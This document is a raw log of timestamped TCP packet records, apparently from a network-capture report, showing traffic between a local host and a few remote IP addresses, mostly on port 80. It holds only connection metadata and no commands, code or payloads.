Nov 25, 2024 16:21:42.514501095 CET	49843	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.518038988 CET	49843	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.518039942 CET	49843	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.518070936 CET	443	49843	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:42.519881010 CET	49843	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:42.568551064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.568634033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.568651915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.568768978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.569026947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.569164038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.569190979 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.569288015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.570025921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.570080996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.570138931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.570297003 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.570990086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.571089029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.571091890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.571177959 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.572038889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.572166920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.572191954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.572343111 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.572948933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.573061943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.573466063 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.573985100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.574067116 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.574099064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.574182987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.575388908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.575453997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.575481892 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.575623035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.576021910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.576083899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.576122046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.576281071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.576903105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.576961994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.577004910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.577909946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.577939034 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.577992916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.578881979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.578911066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.578972101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.579835892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.579862118 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.579952955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.580101013 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.580873966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.580974102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.581129074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.581253052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.581830025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.581960917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.581990004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.582039118 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.582811117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.582935095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.582957983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.583806038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.583920956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.583966017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.584817886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.584861040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.585047007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.585783958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.585849047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.586747885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.586792946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.586822033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.587110996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.587814093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.587913990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.587943077 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.588753939 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.588876963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.588891029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.589024067 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.589953899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.590065956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.590332985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.591150045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.591268063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.591295004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.591634035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.591964006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.592066050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.592091084 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.592446089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.592843056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.592937946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.592963934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.593550920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.593647957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.593751907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.593871117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.594635963 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.594747066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.594763994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.594902039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.595643997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.595730066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.595755100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.595858097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.596673012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.596740007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.596856117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.597613096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.597697020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.597724915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.598606110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.598709106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.598737001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.598965883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.599581003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.599661112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.599688053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.600572109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.600598097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.600619078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.600672960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.601573944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.601681948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.601712942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.601772070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.603718042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.603777885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.603791952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.603861094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.603887081 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.604142904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.604552984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.604615927 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.604748011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.605737925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.605921030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.605947018 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.606702089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.606870890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.606895924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.607556105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.607671976 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.607702017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.607916117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.608480930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.608521938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.608549118 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.609428883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.609570980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.609699965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.609817982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.610416889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.610541105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.610619068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.611399889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.611447096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.611474037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.612426043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.612546921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.612574100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.612864017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.613456011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.613586903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.613634109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.613634109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.614368916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.614478111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.614506960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.614589930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.615345955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.615442991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.615534067 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.616451025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.616482019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.616787910 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.617285013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.617321014 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.617342949 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.617449999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.618258953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.618370056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.618488073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.619319916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.619369984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.619482994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.620281935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.621635914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.762109995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.762315035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.762342930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.762433052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.762506962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.762614012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.762615919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.762706995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.763494015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.763550997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.763571024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.763950109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.764466047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.764693022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.764830112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.765530109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.765635967 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.765638113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.766009092 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.766491890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.766565084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.766596079 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.766622066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.767616034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.767636061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.767683983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.767683983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.768059969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.768167973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.768412113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.768815994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.769057035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.769201994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.769206047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.769284010 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.770051956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.770212889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.770235062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.770324945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.770996094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.771081924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.771105051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.771239996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.772032022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.772123098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.772147894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.773047924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.773219109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.773267031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.773386955 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.773977995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.774108887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.774136066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.774950027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.775047064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.775055885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.775151968 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.775917053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.776194096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.776221991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.776990891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.776993990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.777024984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.777050972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.777740002 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.777904987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.777942896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.778004885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.778928995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.778942108 CET	49855	443	192.168.2.5	18.164.116.57
Nov 25, 2024 16:21:42.778980017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.778984070 CET	443	49855	18.164.116.57	192.168.2.5
Nov 25, 2024 16:21:42.779006958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.779042959 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.779046059 CET	49855	443	192.168.2.5	18.164.116.57
Nov 25, 2024 16:21:42.779352903 CET	49855	443	192.168.2.5	18.164.116.57
Nov 25, 2024 16:21:42.779365063 CET	443	49855	18.164.116.57	192.168.2.5
Nov 25, 2024 16:21:42.780095100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.780209064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.780239105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.780867100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.781012058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.781040907 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.781240940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.781856060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.781985044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.782011032 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.782697916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.782808065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.782932043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.782984018 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.783832073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.784167051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.784442902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.784790039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.784846067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.784979105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.785758972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.785868883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.785964966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.786750078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.786858082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.786866903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.787075043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.787733078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.787838936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.787899971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.788664103 CET	49856	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.788702011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.788703918 CET	443	49856	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:42.788784027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.788856030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.788856030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.788856983 CET	49856	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.789047956 CET	49858	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.789050102 CET	49857	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.789056063 CET	443	49858	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:42.789064884 CET	443	49857	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:42.789304972 CET	49859	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.789314032 CET	443	49859	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:42.789344072 CET	49858	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.789347887 CET	49857	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.789432049 CET	49859	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.789629936 CET	49860	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.789674044 CET	443	49860	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:42.789674997 CET	49856	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.789688110 CET	443	49856	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:42.789731979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.789792061 CET	49860	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.789796114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.789885044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.789904118 CET	49859	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.789904118 CET	49857	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.789917946 CET	443	49859	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:42.789928913 CET	443	49857	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:42.789941072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.790097952 CET	49860	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.790102005 CET	49858	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:42.790113926 CET	443	49858	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:42.790116072 CET	443	49860	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:42.790736914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.790843010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.790869951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.791687965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.791785002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.791789055 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.791789055 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.791840076 CET	49765	80	192.168.2.5	185.215.113.206
